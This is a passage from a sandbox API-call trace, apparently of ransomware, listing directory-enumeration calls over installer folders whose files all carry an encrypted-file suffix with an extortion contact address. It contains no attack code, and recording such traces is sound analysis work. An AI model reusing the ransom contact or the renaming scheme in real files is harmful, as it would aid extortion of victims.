nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420d60 [0175.214] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc6c75175, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6c75175, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.214] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6c4f11e, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6c4f11e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6c4f11e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.215] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6c4f11e, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6c4f11e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6c75175, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xee06, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.215] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc823d1df, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc823d1df, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc823d1df, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.215] FindNextFileW (in: hFindFile=0x4420d60, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc823d1df, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc823d1df, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc823d1df, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.215] FindClose (in: hFindFile=0x4420d60 | out: hFindFile=0x4420d60) returned 1 [0175.216] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.216] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc77a8a46, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77a8a46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0175.216] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.216] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc77a8a46, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77a8a46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x44208a0 [0175.217] FindNextFileW (in: hFindFile=0x44208a0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc77a8a46, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77a8a46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.217] FindNextFileW (in: hFindFile=0x44208a0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6c9b6ae, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6c9b6ae, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77a8a46, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.217] FindNextFileW (in: hFindFile=0x44208a0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc775c58e, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc775c58e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc775c58e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.217] FindNextFileW (in: hFindFile=0x44208a0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc823d1df, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc823d1df, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc826340c, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.218] FindNextFileW (in: hFindFile=0x44208a0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc823d1df, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc823d1df, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc826340c, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.218] FindClose (in: hFindFile=0x44208a0 | out: hFindFile=0x44208a0) returned 1 [0175.401] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.401] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc77f4f5a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77f4f5a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0175.401] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.401] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc77f4f5a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77f4f5a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420960 [0175.402] FindNextFileW (in: hFindFile=0x4420960, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc77f4f5a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77f4f5a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.402] FindNextFileW (in: hFindFile=0x4420960, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc73a2aa6, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc73a2aa6, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc73a2aa6, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.402] FindNextFileW (in: hFindFile=0x4420960, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc73c8d47, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc73c8d47, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77f4f5a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.402] FindNextFileW (in: hFindFile=0x4420960, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc834835a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc834835a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc834835a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.402] FindNextFileW (in: hFindFile=0x4420960, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc834835a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc834835a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc834835a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.402] FindClose (in: hFindFile=0x4420960 | out: hFindFile=0x4420960) returned 1 [0175.403] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.403] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc7c00022, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c00022, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0175.403] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.403] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc7c00022, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c00022, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420ee0 [0175.404] FindNextFileW (in: hFindFile=0x4420ee0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc7c00022, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c00022, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.404] FindNextFileW (in: hFindFile=0x4420ee0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc76ed1d4, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc76ed1d4, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc76ed1d4, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0175.404] FindNextFileW (in: hFindFile=0x4420ee0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7bd4c0f, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7bd4c0f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7bd4c0f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0175.404] FindNextFileW (in: hFindFile=0x4420ee0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc834835a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc834835a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc836e469, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0175.404] FindNextFileW (in: hFindFile=0x4420ee0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc834835a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc834835a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc836e469, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0175.404] FindClose (in: hFindFile=0x4420ee0 | out: hFindFile=0x4420ee0) returned 1 [0175.405] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.405] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc7cdfd02, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7cdfd02, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0175.405] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.405] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc7cdfd02, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7cdfd02, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420fa0 [0175.406] FindNextFileW (in: hFindFile=0x4420fa0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc7cdfd02, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7cdfd02, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.406] FindNextFileW (in: hFindFile=0x4420fa0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc77a8a46, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc77a8a46, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc77cecb7, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PARAME~1.KR")) returned 1 [0175.406] FindNextFileW (in: hFindFile=0x4420fa0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7cdfd02, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7cdfd02, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7cdfd02, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="UIINFO~1.KR")) returned 1 [0175.406] FindNextFileW (in: hFindFile=0x4420fa0, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7cdfd02, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7cdfd02, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7cdfd02, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="UIINFO~1.KR")) returned 0 [0175.406] FindClose (in: hFindFile=0x4420fa0 | out: hFindFile=0x4420fa0) returned 1 [0175.407] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.407] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc781b239, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc781b239, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc781b239, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="DHTMLH~1.KR")) returned 1 [0175.407] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc855e399, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc855e399, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc855e399, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="DISPLA~1.KR")) returned 1 [0175.407] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc7b62410, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7b62410, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0175.407] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.408] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc7b62410, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7b62410, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4420c20 [0175.408] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc7b62410, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7b62410, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.408] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7841485, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7841485, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7841485, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PARAME~1.KR")) returned 1 [0175.408] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7b16092, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7b16092, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7b62410, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="UIINFO~1.KR")) returned 1 [0175.409] FindNextFileW (in: hFindFile=0x4420c20, lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7b16092, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7b16092, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7b62410, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="UIINFO~1.KR")) returned 0 [0175.409] FindClose (in: hFindFile=0x4420c20 | out: hFindFile=0x4420c20) returned 1 [0175.409] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.409] FindNextFileW (in: hFindFile=0x43a380, lpFindFileData=0x3b3fa7c | out: lpFindFileData=0x3b3fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc85844a4, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc85844a4, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0175.409] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4410068 [0175.409] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x3b3f800 | out: lpFindFileData=0x3b3f800*(dwFileAttributes=0x10, 